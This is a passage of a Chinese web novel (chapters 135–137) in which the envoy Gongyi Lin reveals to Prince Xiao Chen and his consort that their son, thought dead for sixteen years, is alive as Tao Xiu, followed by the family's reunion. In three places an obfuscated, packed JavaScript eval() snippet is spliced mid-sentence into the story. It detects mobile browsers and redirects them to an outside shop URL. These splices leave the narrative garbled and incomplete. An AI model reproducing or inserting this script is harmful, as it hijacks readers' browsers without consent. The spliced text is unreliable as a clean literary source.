公仪林看着陶修,冷声道:“康乐,此人我是一刻也忍不了了。”说罢,又一次用萧蕴认为的极为屈辱的姿势掐住他的下巴,把忍了两天的怒火都集中在几根指头上,逼视他的眼睛:“这枚印章是你哥萧琢的东西,你哥回来了。” 萧蕴睁大眼睛,似听错了,顷刻间分不清他说的是鬼话,还是说他哥的鬼魂要回来。 “你放屁!” “阿八,把他捆起来。” 昨天这人揍了公子一拳,阿八早想报仇,听令后立即在身上擦掉双手的水迹,兴冲冲找了根绳子来。几个人光天化日之下真就把王爷的儿子绑在井边的一棵树上。 “槐序,别太为难他。”公仪林这两天受足了气,陶修只能稍稍劝阻几句。 公仪林散漫、傲气地靠在胡床上,右手沾满水朝萧蕴脸上猛弹几次,捉弄道:“落在我手里,虽不会伤你筋骨皮肉,但我有的是整治你的办法。就先这么绑着,天黑了再放回去,告诉你吧,就算今日我打了你,明日你们府上还会客客气气请我去做客。” 几番受辱的萧蕴体会一把七窍生烟的感觉,紧闭嘴巴一声不吭任由公仪林欺负,心里已酝酿一场山洪海啸,发誓要将这几个人剁为肉泥。 这时,礼部左侍郎急匆匆跑进院子,一见他们把萧蕴绑起来,拍着大腿怒喝道:“你们也太胆大妄为了,都给我住手。岳阳王到了,请诸位快到大堂去,别跟个少年人一样见面就眼红。”这左侍郎六十多了,井边这群掐在一起的人年纪都不大,管它什么王爷的儿子还是陈国使者,都是幼稚的要命的小孩,他亲手替萧蕴解开绳子,催促道:“快点快点,王爷在等着呐!” 萧蕴抬脚就走了。 公仪林对沉默不语的陶修说:“你跟在我身后,和阿八、胡峤站一起。”几人回屋换了身衣裳,才慢慢朝礼部大堂走去。 萧宸稳坐在大堂的上座,见公仪林进来后随即屏退左右随从,只留下萧蕴和左侍郎,他并未拐弯抹角,等公仪林入座后直接开口问:“陈使,请告知萧某,这到底是怎么回事?你为何会有这枚印章?” 公仪林故作疑惑,望着他面前小小的章笑问:“王爷是为了它而来?说实话我也不知这是何物?” “你不知,那它怎会在你身上?” “事情是这样,昨日进城前我和几位同僚路过城外一座破庙休息,拨草找座时它就出现在我脚边,被一层薄土掩埋了一半,抠出来擦净了一看竟是枚印章,我见上面麒麟印钮很特别就留下了,不想今日清晨拜访王爷时落在府上。” 萧宸浑身一震,几乎站了起来,紧追着问:“城外哪座旧庙?”当年的搜查基本都在城内进行,还没在城外大肆搜查就等到世子的尸体。 萧蕴自是旁观者清,立即严厉地指责公仪林一派胡言:“你说在城外捡的?前几日下雨,地面才干没多久,为何玉章上没有一丁点泥?为何印底还有陈旧的红印泥?为何你要看我府中构造,还提出要去东角门?” 心急的萧宸确实忽略了公仪林话中的漏洞,萧蕴发出一连串质问后,父子二人冷静地等着陈使回答。 公仪林还想兜圈子,“确实是在城外破庙捡的,至于为何这么干净,我想应该是它有求于我想靠我传达某种消息?” 公仪林也不知道该用哪种开头提起陶修的身世,突兀地告诉他们“死”了十六年的世子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无需猜测,公仪林一眼就认出她是陶修的母亲。她脸上有一点岁月的痕迹,但其温柔、端庄又因年纪渐长越发有风韵,她的美远胜金钗玉珠的照耀,不靠精致华服的衬托,她出现那一瞬温婉的举止已令公仪林深深折服,心中暗道:陶修和他母亲长得真像,看来他那股温和的性子不尽然全是受贫贱日子的磋磨。 萧王妃一直在大堂的后面侧耳倾听,当萧宸深陷自责无法走出来时,她必须走出来,多年来两人就如现在这般互相扶持着走出伤痛,她坐到丈夫身旁柔声抚慰道:“王爷,城外我们也找了,你忘了?你亲自去找了,清晨出去星夜才回,只不过什么都没有带回来罢了,我们真的找过了。” 萧宸抬起清醒后的脸对她悲苦一笑:“是了,我们找过了。” 萧王妃安抚好萧宸后,对坐在下首的公仪林感激道:“多谢陈使把这枚玉章交还于我,它确实是我儿的旧物。” 公仪林慌忙起身行礼,恭敬地请求道:“请王妃讲讲这枚章的来历和,和世子失踪的经过。” 王妃没有立即开口,把漆黑的玉放到柔软的掌心,想了很久才说:“一见到它,我就想起那年的盛夏酷暑,麟儿是个行事认真的孩子,雕刻玉章那几日闭门不出,参照许多图样始终拿不定想雕刻什么,是我建议他用麒麟做钮,一章兼带两个名字,往后的书信、字帖上就能盖上他自己的章了。” 也许是感激陈使将失踪旧物重新带回,也许是想亲自给小儿子讲述一段她从没提起过的旧事,她现在很健谈,丝毫避讳都没有,对陈使痛痛快快讲出世子失踪和死亡的经过,把血淋淋的痛大大方方展露出来,“那天傍晚我被一阵暮钟惊醒,预感有不好的事发生,但我没预料到事情会应在麟儿身上,我当时做的仅是对着钟声的方向拜了几拜,隔了许久才想起来已好几个时辰没见到麟儿了。”她苦笑一下,问陈使:“他才五岁,做母亲的好几个时辰没见到孩子居然都没去找过他,我可能是这世上最冷情的母亲了。” 萧蕴大声道:“母后,你当时,你当时是因为有了我,这怎能怪你,如果一定要找个人承担错误,那就把错归咎到我身上。” 135.母亲我是麟儿 这一家子因丧子失兄而陷入无边的黑暗,旁边的人好像听一听嗅一嗅就能被他们一起拽进漆黑的崖底。 萧王妃的讲述令公仪林很压抑难受,两边都在煎熬着,他立即提出疑问顺利带出世子还活着的可能,“世子是失踪三日后被人装在麻袋丢到王府大门前,身首异处,面目全非,你们确定麻袋里的尸体就一定是萧琢?三日时间,真的会令尸体腐烂到亲人都无法辨认的地步?若是有人因恨王府而杀世子解恨,掳走他杀了也就杀了,他还要冒险跑回来丢尸,你们有没有想过,其实凶手这么做的另一个原因是想用假尸体掩盖真相?” 萧宸和王妃面色惨白,听着公仪林似晴天霹雳的假设和猜想,萧宸缓缓道:“盛夏的三日,尸体会腐烂,他,还在水中泡过。” “那就是想加速尸体的腐烂程度。” “你到底想说什么?”萧宸已按捺不住情绪,如果说世子的死有值得怀疑的地方,绝不会由远在千里之外的一个毫不相干的异国使者提出来。 王妃颤抖道:“是麟儿,身量、衣饰都一模一样?” “这么说,王妃对斩为两截的世子从上到下都细查过了?” 萧王妃惊恐万状,喘口气松了松发紧的喉头,僵硬地回道:“我抱着麟儿的头,他们把我拉走了。” “那王爷呢,你仔细辨认过尸体?” 萧宸发现自己掉进这个年轻人设置的圈套里,不管是今日来礼部还是旧事重提,都被这个年轻人牵着走,不知自己还在期盼着什么,竟顺着他的话不停回忆当时的情景,突然重重拍下桌面,怒问:“陈使,你究竟想说什么?” “我只要王爷如实回答就行,你是否辨认过尸体,确定他一定是萧琢?” “我不忍细看那张脸,那具尸体除了脸,什么都和麟儿一样,谁都不会怀疑他不是世子。” 公仪林道:“那我再问,那具尸体穿鞋了吗?” 这时,坐在公仪林身旁的萧蕴突然像只豹子扑过来,大骂道:“陈狗,你娘的满嘴胡邹的什么,一个陈国人敢跑来质疑我们王府的事,欲戏弄我父王母后吗?” 他暴怒的爪牙再次被阿八拦截。阿八将他按回坐席上,直到萧宸出声喝止。 萧宸知道公仪林话中有话,也猜到玉章出现的绝不是偶然,如实回道:“他的双脚没有穿鞋,陈使为何这么问,有什么话就直说吧。” 公仪林整理了腿上皱在一处的衣裾,拽一下紧贴胸口的衣襟,终于开口道:“因为你面前的玉章当时就藏在那双消失的鞋子里,穿在真正的萧世子脚上。”他顿了一下,直视萧宸:“萧世子还活着!” 屏气凝息,静若寒蝉,左侍郎终于听懂他们正在说的事情,瞪大了双眼。 整个内城,谁人不知在岳阳王府的人面前拿已故世子说笑会被杀死,竟还是这种荒诞不经的玩笑话。 王妃抖如筛糠,脸色惨白像死人,她最先被他的话震惊到,也最先从震惊中还醒过来。她想走到公仪林面前,无奈软如泥的双腿却撑不住沉重的心,于是,她用双手几乎往前爬行,一句完整的话都说不出,“麟儿,你说的是什么意思,麟儿死了,我看见的。” 公仪林猛地起身跑向王妃,跪于她面前将她扶起,清清楚楚、真真切切地说:“王妃,萧琢还活着,他真的活着,他就在门外,他跟你一样十多年都不知亲人还活着。” 萧蕴惊坐在原地,难得的老实安分,所有的狂劲都收敛起来。 萧宸走下座位站到公仪林跟前,俯视着他,声调沙哑疲惫地威胁道:“你知道欺骗我的后果吗?” “公仪林此趟来的目的正为这件事,我以项上人头作保,萧琢活着,他跟我一起回来了。” 秋日接近傍晚的夕阳也很明亮,秋风舒爽,门外有一棵高大的槐树,树上有鸟坐的窠臼,一只鸟在金色的阳光下“喳喳”叫了几声,粗粝又洪亮。死了十六年的人还活着,这个消息就像外面一声声鸟啼一样叫的他们着慌、恐惧,这股恐惧感重重压过了听到这个消息时带来的惊喜,一切显得太不真实。 但是,当陶修出现在大堂门前的那一刻,他们知道世上一定是有神明的,这个走进来的年轻人一定是拯救他们的神明。 萧家的人窒息地僵在原地,萧宸和夫人无法动弹,他们拼命的想往前走,想靠近浑身散发金色光芒的年轻人,但是双脚被定住,一点也挪动不了。 他们一眼就看出他的骨与血是因他们诞生,他们熟悉这张面孔,像每年每月每日都会见到,他好像从未离开,本就是长这个模样,他们在孤独的思念里幻想过无数次的面孔和身形在这年轻人的身上具象、充实了,他英气逼人的站在他们面前,活生生的,他的手和脸有温度,他的双目闪动清澈的光,发丝一根一根的柔顺飘逸,都是活着的气息。 陶修跪在他们面前,磕了三个头后直起腰背,给他们足够宽敞的空间打量、审视自己。他盯着母亲,凝视她和善忧愁的双目,喉头紧缩,眼泪扑簌簌滚下来,他没觉得流落在外的十六年经历有多委屈,也没觉得少叫了十六年母亲有多可怜,他触上母亲忧郁的眼眸时,平白无故的想哭一场。 那日公仪林说:见你母亲时哭吧,大哭一场。 陶修当作笑话,笑着答应了。他以为,已过弱冠的人会因经历、年岁的成熟和与父母之间的生疏不再为这种事淌下眼泪,没想到他不自觉间筑起的心壁竟如此脆弱,不堪亲情的一击。 萧王妃触摸着陶修的脸和身,把每个地方都重重的摸过一遍,试探眼前的人到底是不是真实的,最后她的手回到他脖颈间的伤痕处,泪珠一滴一滴砸在陶修的前襟,她突然把他的头搂进怀中,张着嘴巴撕心裂肺地哭喊,但没有人听见她发出声音,她像当年一样再次失去端庄美丽的形象,她哭的像个平常的妇人,像个最普通的母亲。 “母亲,我是麟儿,我回来了。”他回拥着她,直到大堂的光线慢慢暗淡。 自始至终,萧宸和萧蕴父子俩都没有动弹,一个要把与长子重逢的时间留给被痛苦折磨多年的妻子,另一个则浑浑噩噩无法分辨究竟是不是在梦里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678065|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大堂中央跪的是他哥?是他这不可一世的人都不敢轻易提起的哥,就因为当年世子有过“捡松子留作冬日烤火”、拿着积攒的余钱上街施舍穷人的善举,百姓都说他哥完美无瑕、聪明伶俐、善良温和、纯真敦厚,还好他只活了五岁,要不然什么“鹤立鸡群、才华横溢、骁勇善战、神采飞扬”还不都往他身上贴去。 眼下大堂里跪的平平无奇的人,就是被人津津乐道几乎没有任何缺点的哥哥? 萧蕴把拳头攥的咯吱响两声,快步朝陶修走去。以他往日的心性,上去就是抓住此人的头发往后一掰质问他是哪里的骗子,但此时,走到跟前发现方才拳头攒的劲还不够足,这一拳他打不下去,也不敢打。 “先别顾着认亲,把你的来龙去脉给我讲清楚,别认错了亲落下不能饶恕的笑柄。你说你是萧琢,有什么证据,陈使可说了,印章是城外破庙中捡来的,与你无关。就算你是萧琢,这十六年哪去了,你都不记得回家的路,看来你在陈国过的日子挺滋润,并不比你做世子差啊,连故土都忘了?” 公仪林踹翻案桌站起来怒喝道:“萧蕴,别逼我在你爹娘面前扇你。”他几步跨到陶修和王妃跟前,一把扯过陶修撸起他的袖子,一道道旧伤露在他们面前,“仔细看看他的脖子,看看这些伤,他被人卖给贱户做牛做马,十七岁入了兵营,两次险些丧命才换来了你口中的好日子,他确实幸运的很呐。” 萧宸满眼悲伤,扶起夫人和陶修,搂着儿子的双臂久久凝视,哑声道:“受苦了孩子,把这些年你身上发生的所有事情都告诉我。” 左侍郎全程目瞪口呆,张着嘴来回看向公仪林,希望这位陈使能给他较为真实的回应。左侍郎家的公子比萧琢大上四五岁,小时候二人常在一起玩耍,这个左侍郎清清楚楚记得世子消失那几天全城的恐慌,世子不见那晚,一帮嬉戏的孩童中就有左侍郎家的公子,他把儿子关在屋里悄悄问近来有没有人盯上世子或是有无可疑的人出没,他儿子吓得哭啼啼说什么都没看见,这许多年,他儿子偶尔还会感叹当年一起玩的孩子还活着多好。 外面天色已暗,岳阳王欲携夫人、儿子回府,对公仪林客气一番邀他到府中住上一段时间。公仪林先是怕打搅他们全家团聚而推却了,但望着陶修携母亲的手离开时的背影,突然怕这人永远不再回头,立即追了上去:“我去,我去。” 萧家的人坐在屋里讲了什么公仪林无法参与,他倚在廊柱盯着窗纸上四个人的剪影,关注他们的一举一动,或哭泣拭泪,或拉手抚慰,他们想凭一夜的长谈就找回消失的十六年,所以他们的谈话一直在持续,公仪林就在廊下一直等,一直等到星辰稀疏,那扇门吱呀一声打开,陶修走了出来。 陶修抬头望见廊下的身影,他冲他欣慰一笑。 陶修辞别父母后方走出几步,忽听身后的王妃忧郁的喊了声:“麟儿——”他急回首看去。 站在阴影中的王妃小心翼翼地问:“明天早上,我还能看见你吧?” “会的,明日一定能看见我。” 136.你这脸可真厚 二人慢慢踱回住处,陶修一直没有开口,背着双手若有所思也若有所失。 “不想跟我说说和父母重逢的感觉?” “你不是都看见了吗?和他们待在一起很陌生,我无法做到什么都讲出来,方才与他们分开我发现一切好像都变假了。” “再与他们相处两日情况会有所变好。你没提萧钰?” “还没提。” “现在不提也罢。明日可能全城都会议论萧世子死而复生这件事,准备好见梁主吧。” 二人在小院门口要分开时,陶修真诚的道了声谢:“槐序,多谢你陪我这一程。” 公仪林正色道:“我不接受口头言谢。” “那要如何?我在这里不熟,过几日我带你去城外转转如何?” 公仪林贴近他耳边低声道:“我要跟你睡。” “行,那就跟着我。” 他们住的地方在翰墨小院旁边,屋内灯火明亮,宽敞简洁,摆了两张一大一小的床,公仪林得意道:“这床摆的好啊,我就能堂而皇之住你这屋了,府上还真了解我。” 陶修把这间屋子里的陈设都扫了一遍,说:“这间是宿客的屋子,你挑的那张床可能是给随身的仆从住的吧。” “好啊,乐意做你仆从。话说,你还记不记得这里的每个院落和房屋?我挺想去你小时候住的院子看看。” “如果你能等,那就明天的吧?” “恐怕等不了。” 陶修端起手边的一盏油灯说:“那就走,我也等不了。” 萧世子曾经的卧房在两盏灯火下慢慢露出形状,公仪林的态度不仅好奇还很虔诚,举灯把屋内每一样物件都看了一遍,床上被褥叠的整整齐齐,周围的帷幔虽已发旧,但金色丝线在灯火下还闪烁金色的光芒,隔开卧房和书房的是八扇屏风,黑、红两色间开着摆,红屏雕金色小孩嬉戏图,黑屏雕金色的山水鸟虫,纹饰古朴而贵气,靠窗的书案上放了许多笔墨纸砚,摆放凌乱,屋里散发淡淡的霉味,这些东西应该没有调换过位置,还是十六年的摆放,好似这里住的人还能回来,也确实回来了。 公仪林问:“从这里再到陶家的茅屋,那时候你痛苦吗?” “途中病过两场,把什么都忘了。” “忘了好啊,忘了才不难受。我若从这锦天秀地的王府坠入家徒四壁的陶家,应该会气绝吧。”他又把这句话想了一下,改口道:“陶家也不错,你那间屋子我曾憧憬无数次。” 陶修微微讶异,问他:“ 我那间只有几块床板和木雕的屋子有什么值得你惦记的?” 公仪林举着灯边鉴赏屏风上的鱼虫花鸟,边轻松地聊起十五岁时的一件事。 那年秋天,公仪林辞别陶修回到家中,第二日突降大雨,一连下了两日不休,那晚有点凄冷,他站在窗前盯着屋檐的雨滴滴滴答答落入缸里,一种莫名的情绪感染,突然很想见陶修,不知道此时那个人会在一间小土屋里做什么,没有灯火照明,夜也不够深沉,他能在做什么?公仪林心里淤堵着莫名其妙的感情,冲进冰凉的雨中,跑去马厩拉了匹马要去玉河村,直到司子连拖带拽把他弄回屋里问他要干什么,他才慢慢醒过神,难过地往地上一躺,失落地干笑两声。 他讲完这些,笑问陶修:“你觉得我傻不傻,当时我甚至不知那股感情什么,怕的不得了。我就想知道你在那间小屋里会做什么,想知道你有没有想到我,哪怕只是一刻。现在我问你,在我向你表露心迹之前你有没有在夜深人静时想起过我?” 陶修没有立即回答他,认真想了片刻,但这片刻的时间公仪林就已不耐烦,“算了算了,都是很久之前的事了。” “有想过。” 公仪林一愣,盯着他,等着他继续说。 “有一回我们去大庙,带在路上的煮蛋没吃完,余下两颗你给了我,晚上我就躺在床上想着,这小子为什么不多煮几个,那剩下的不就都归我了?不过这想法有些丢人。”他压低声音笑了几声,又道:“抱歉,槐序,我也常想到你,不过都是因感激才想起。” 公仪林轻叹一声:“我要是能早些明白你日子过的艰辛就好了。” 陶修笑道:“我可不是跟你诉苦。这屋里有一个秘密,我带你去看看。” “地道?暗室?你藏了宝贝?” “猜的差不多。我不确定它们还在不在,跟我来。” 陶修带公仪林绕过屏风走至床尾,用手指在床板下面轻敲几下,立时穿来咚咚声,听声音这床尾必是空心的。 “空的?里面有什么?”公仪林把灯放到地上,忍不住搓手要打开。 “别急,床尾有个部分能抽出来,但抽的位置抵了墙,你先搬开床就知道里面装了什么。” 公仪林让他退后,撸起两只袖子使出巨力硬生生把沉重的床从靠墙位置给搬开,一边发力一边忍不住嘀咕:“虽然不可能,我还是希望里面的东西是留给我的,我就是这么贪得无厌的人。” 陶修笑而不语。 像抽屉一样的部分被慢慢抽出,沉积多年的灰尘飘散到空气里,二人挥开尘土轻咳两声。 “东西都还在,应该没人动过,算是我藏宝的地方。” 公仪林迫不及待把灯光挪近,登时傻了眼,长长的抽屉里放了许多几乎干枯成灰的松塔,被蛛网缠作一堆,像是火苗一凑上去就能烧着,“这些是什么?” “只能记得这里收了东西,做什么用我已不太清楚了。你再往里翻,有给你的东西。” 公仪林双眸晶亮,露出几颗洁白的牙齿,“真有我的?”不顾脏乱,大手往里叉叉扒拉几下把松塔拨到一边,露出许多稀奇古怪的玩意,都是孩童时期当作珍宝的东西,石头、笔、弹弓、几枚钱币什么都有。陶修挑起一个小巧的盒子递给他。 “这真是给我的?莫不是骗我吧?” 陶修犹豫了一下,淡淡地笑着:“名义上是给我挚爱的人,如今看,也只能给你了。” 听过他的话,公仪林像被祥瑞之光笼罩,有种被偏爱的喜悦,兴奋道:“有你这句话,无论里面是什么,我都要珍藏起来。” “说到就要做到,别后悔。” 盒子上只有一个很简单的扣,公仪林打开盒盖盯着里面一个掌心大小的方形青白瓷盒,疑惑地问:“这是?” “可能是胭脂,应该就是胭脂。” “你耍我呢?这是怎么个故事,讲我听听。” “具体是什么时候的事我忘记了,应该是有一天和几位大人家的公子们一起玩耍,他们都大我几岁,这几岁的差距已经形成不同的阵营,嘴里说的就不单单是如何打中树上的鸟或是谁写的字好看这么简单的话题,他们开始谈到偶然一瞥的美貌女子,玩笑打闹时各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687534|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子比拼将来谁会对夫人好,谁都不服输,纷纷说要留下最珍贵的东西留给将来的夫人。” 陶修觉得接下来要说的很无聊很幼稚,笑说:“就是这样留下的。” “看不出康乐你还是个多情的人啊,那么小就掺和他们的话题?” “说者无意听者有心,他们都这么做,我就悄悄跟着做。” 公仪林把胭脂瓷盒收进怀里,“就多谢哥哥了。”他还要继续在抽屉里翻,突然停下手,转头问:“不对,这个东西你要给的另有其人。” “一件小玩意想那么多。太晚了,看得差不多就回去吧,要没看够等白天再来。” 公仪林走在他身后,油灯的光晕照着陶修的背和后脑勺,公仪林不禁心下生疑:“原本他是要给谁的?” 这一夜剩下的时间不多,陶修浅眠一个多时辰就醒了,在天色没有全亮前就已守候在王妃的门前。想必王妃和儿子的心情一样,陶修并没等候多久她就亲自打开了门。 岳阳王府萧世子“复活”的消息堪比当年萧钰投诚陈国一样轰动,整个江陵城为之震动。这两日,闲着无事的人都拥挤在王府门口,想一睹死而复生的人究竟长了什么异人模样、弄清世子失踪的来龙去脉,或许还能得到王府的喜钱。 世子归来的消息无疑是左侍郎放出去的,他先是把此事告诉儿子,他儿子又等不及告诉其他贵公子,一传十十传百,一时间王府前门庭若市、水泄不通。 负责发喜钱的是脸上不带任何喜色的萧蕴,平日明珠似的人物竟为了哥哥的事情亲自站到大门口,对着一帮稀奇古怪的人散发喜钱。 他装钱的篓子里放了铜钱、红枣、莲子、白果等物,抓了一把就面无表情往人群抛去、砸去,快要洒完时又见人从府里抬出一筐,气的连连抱怨:“回来就回来,跟成婚似的。” “怎么,你哥回来都两天了,还不想跟他说话?”公仪林悄无声息往他身旁一站,从篓子里也抓出喜钱往人群一撒,拱手对百姓笑道:“此是王府大喜,与诸位同乐、同乐,这三日王府为感激上苍让世子平安归来,特意准备一张‘有求必应台’,诸位当中若有生活艰难、处境暂时不顺的,可以到记事台留下姓名,府中一定尽量帮助受困的人。” “世子为何不露个面啊?” “路途奔波,世子身体微恙,还在休息当中。” “他是不是冒名顶替的啊,真的是萧世子吗?多年前我们也是在此处亲眼看见他,看见他被——” 公仪林心平气和,微笑着回答百姓一个又一个提问。 萧蕴把他从大门前的主位挤下去,睨眼瞧他:“我记得这个王府没有事务官吧,搞得这里就像你家一样,这脸可是真的厚。别说两天,就是回来两年我也接受不了他。” “哎呀——”公仪林拉长声音,替他惋惜道:“这回就要真的如你所愿了,你似乎忘了你哥的身份,他已是陈国命官,你想他留下估计他也不能留下,珍惜这难得的几天吧,毕竟是一母同胞的兄弟。若非他被人掳走使你兄弟二人不能见面,我都想不出他会多疼你这个兄弟。他在吴郡有个小妹,视之如命,他本来也会这样待你,都是大人了,他回来一不和你争父母之爱,二不和你争世爵,我不知你为何这样敌对他?” 萧蕴脸上冷酷的神色渐渐散了,抱着篓子愣了很久没动弹,人群喊道:“你倒是撒呀!” 137.王妃泣不成声 这时,有七八护卫拨开拥挤的人群挤出一条道,道上出现六位衣着鲜亮、气质出众的男子,年纪最大的都不到三十岁,一见了萧蕴就行礼恭贺道:“听闻世子的事,我们几个连夜从外赶回来,等不及要见见世子的面,还请小公子快替我们引见引见。” 萧蕴客客气气将几位公子带进府里。公仪林从这群人不俗的气度上猜到他们可能是曾经与陶修玩在一起的那伙孩子,好奇心驱赶,他也匆匆赶着追上去。 陶修此时正跟父亲在大厅陪朝中来道贺的官员叙谈。起先公仪林做为没有正经任务来梁国的外使与他们同坐,后因他们的谈话逐渐涉及朝政,他只得借故出去透透气。这会跟在一群贵公子后面又回来了,人群里,他偷看到陶修被人围拢后强装出的镇定,对谁都露出温和的笑容,陌生的场面下很难听见他开口说话。 公仪林坐回自己的席位,静静看这伙人如何跟失踪十几年的人再叙旧。 萧宸为长子一一介绍眼前公子们的姓名和现在何处任职,陶修皆客气的颔首,再重复一遍那人的名字。最后轮到一位身着松绿色直裾的公子时,没待岳阳王指着他介绍,就快步走近陶修一把抓住他的双臂激动地问:“世子,你一定能记得我,那日你说下次再见就还我弓箭,我常奢望那张弓能由你再交还给我。” “弓?”陶修轻皱眉头想从脑海搜寻出与此人的交集, 这位公子又沉声提醒:“自那之后,我没再掏过任何一只鸟窝。” “杨微子?”陶修终于舒展眉头认出第一个伙伴,眼眸晶亮,可能藏了感动的泪水,“我没记错吧,你是杨微子?” “正是我啊。小时候我跟你掐架最多,他们都哄着你让着你,唯独我不服你,世子能记得我,看来多年前的架也没白打。”众人都被逗笑了。 哟呵,公仪林酸酸地瞧着杨微子,还寻回发小了。此人身材挺拔、高大俊朗,肤色呈健康的黑色,看样子是长期待在江边的缘故。 杨微子把陶修扶回坐上,真诚又谨慎地问:“在你身上到底发生了何事,如果世子愿意讲就跟我们这些小时候的玩伴说说,我想一定是挺难过的一段记忆,若不愿重提就把过去都揭去吧,回来就好。” 陶修笑道:“这两日讲的次数太多,有机会我定细细讲于诸位听听。” “好,等世子把这里都熟悉了,随便哪一日我们几个再坐一起细说。” 公仪林插不进他们的话题中,只能默坐于外,听他们一件一件讲起幼时的趣事,碰到陶修还能记得的,他便露出轻快明朗的笑。公仪林不禁感慨,这些人本该在陶修过去十六年里起着重要的作用,奈何今日却生分地坐于一起,艰涩地从回忆里寻找将断未断的丝线来与从前连接。 和公仪林一样沉默的还有坐在杨微子右侧的萧蕴。萧蕴也自感多余,平日奉承讨好他的人统统都走到萧琢身边,好似他享受了多年的荣耀都是暂时的,都是借了萧琢的。 整整三天,他都没有细看萧琢究竟长什么模样,趁着众人围着他哥怀旧的当儿,这才捏着下巴偷偷观察他。 倘若人的气质能用一样东西代替,他哥萧琢一定是块透彻温润的白玉,细看起来,他的五官很漂亮,令人不自知的陷入那双沉静的眼眸,按他的身份来看,他的气质毫无攻击力,严重缺少盛气凌人的锐利感,这或许是他对江陵不熟悉装出来的模样。总而言之,萧蕴也并非很讨厌冒出来的兄长,但是若要他跟萧琢像亲兄弟一样相处又是不可能的,十六年的空白并非用血缘就能弥补回来。 岳阳王府虽不再过问朝堂的事,也谢绝了大部分人的拜访,但是陶修一整日还是不停的应付严挑细选出来的客人。至晚,最后一位朝中大人离开后,陶修终于舒了口气。 他爹立即笑问:“是不是累了?明日任谁都不见,统统撵走,但有一个人你要见?” 三日来,萧宸一直把陶修带在身边,慈眉善目心平气和对他讲述府中诸事,其耐心的程度令萧蕴非常吃惊,他爹对他可从未这样耐心过。 “不累,是我不善言谈与应付,所以力不从心。明日我要见的人是谁?” “萧瑛,你叔父萧瑛。” 这一整日,公仪林待在王府无聊至极,又不便在府中来回走动,只好坐在翰墨小院继续挖掘陶修幼时藏在房间里的秘密。正当他把床尾的抽屉搬到书案上准备一件一件清理里面杂物时,有两个仆人突然站到门外通报道:“陈使,王妃到了。” 公仪林大吃一惊,忙让守在门边的阿八帮他整理衣饰,深吸一口气后从容不迫地立在门外等着。 萧王妃从樟树林荫下缓缓走近,对恭顺侯在门前的公仪林笑道:“我命人去请陈使,他们说你在翰墨小院,我正好也要来看看,陈使请进。” “萧王妃请。” 王妃走进屋内最先看见的是桌上覆满蛛网的抽屉,讶异地问:“这是?” 公仪林道:“前一夜,陶修和我,”他慌忙改口道:“萧世子说在这间屋里留了点儿时的东西,他从床尾找到了。” 王妃拿起一枚干枯的松塔,出神地盯着它,轻声问:“陶修,陶修?他过去生活的家很苦,对吗?” 公仪林轻松笑了一下,说了几句做母亲都爱听的话:“都过去了,世子现在长得高高大大、英俊潇洒,他早已不记得那些苦日子了。” “忘记了不代表他没经历过,我想到此还会心痛。听麟儿说,你是他从小结识的挚友,此趟回江陵寻亲都是你在帮他。多谢陈使的大恩,才令我们父母骨肉团聚,我在此向陈使叩谢。”她放下身段对这个后辈行了大礼。 公仪林惊慌地扶起王妃,急了一头的汗:“王妃真是折煞晚辈了。上天给萧世子体会民生艰辛,日后才好大有作为,这是他的命数,苦难到头,即便没有我他也会重新回到江陵。” 这大概是对儿子失踪十六年的最好粉饰,王妃似乎从这句话里寻到了些许慰藉。她坐于书案前,又另赐一席让公仪林坐在离她很近的位置,“过去的很多事情麟儿都不肯说出来,但是做母亲的又想知道一切,我找陈使来就是想从你口中了解他过去那些年都经历了什么,想知道他的点点滴滴,他身上为何有那么多伤?” 公仪林道:“世子不想讲,是不愿王妃忧心难过,为何非要听虐心的事折磨自己!” “我知道他能回来已是上天对我最大的眷顾,只是这几日我看着他,和他看我时疏离的眼神实在令我难受痛苦,我们母子本不该这样的,我想知道他的过去,或许做母亲的还能补偿他。” 公仪林理解王妃的痛苦,多年来她把儿子的死亡归咎于自身的失职,其实,辛南佐要杀人,哪怕他们把孩子拴在眼皮底下他也能照杀不误。 算是宽慰她,公仪林只得将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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公仪林心道:你们慢慢查去吧,我管你们朝政如何的水深火热,必须给陶修一个说法,“王妃还是亲自问问世子,我对他师父的了解都是他讲给我听的,可能我说的和他讲的有些偏差。” 萧王妃又问了些世子的喜好和爱吃的东西,起身欲走时忽而问了两个问题,“他对陶家的妹妹很好吗?” “很好,他迷惘想离开玉河村时都是有了这个妹妹的牵绊才留下。” “他在陈国是否成家了?我们相认时间短,这个问题我还没好亲自问他。” 公仪林抓住衣袂一角,沉默一瞬才回道:“他还未成家。” 王妃态度温和面有喜色,踏实地对公仪林说:“没有家累牵绊,他方能与那边断的干干净净,之前我正愁他若要回去处理家事我该如何,我不能再让他从我眼前消失一次。” 公仪林挺直了背,浑身发凉,试着问她:“倘若陶修必须回陈国,他也想回去,王妃会让他回去吗?” 萧王妃笑了笑,纠正他的用词:“他即便去陈国也不该叫‘回去’,他现在回来了,那里将与他无关,我绝不会让他再离开我。” 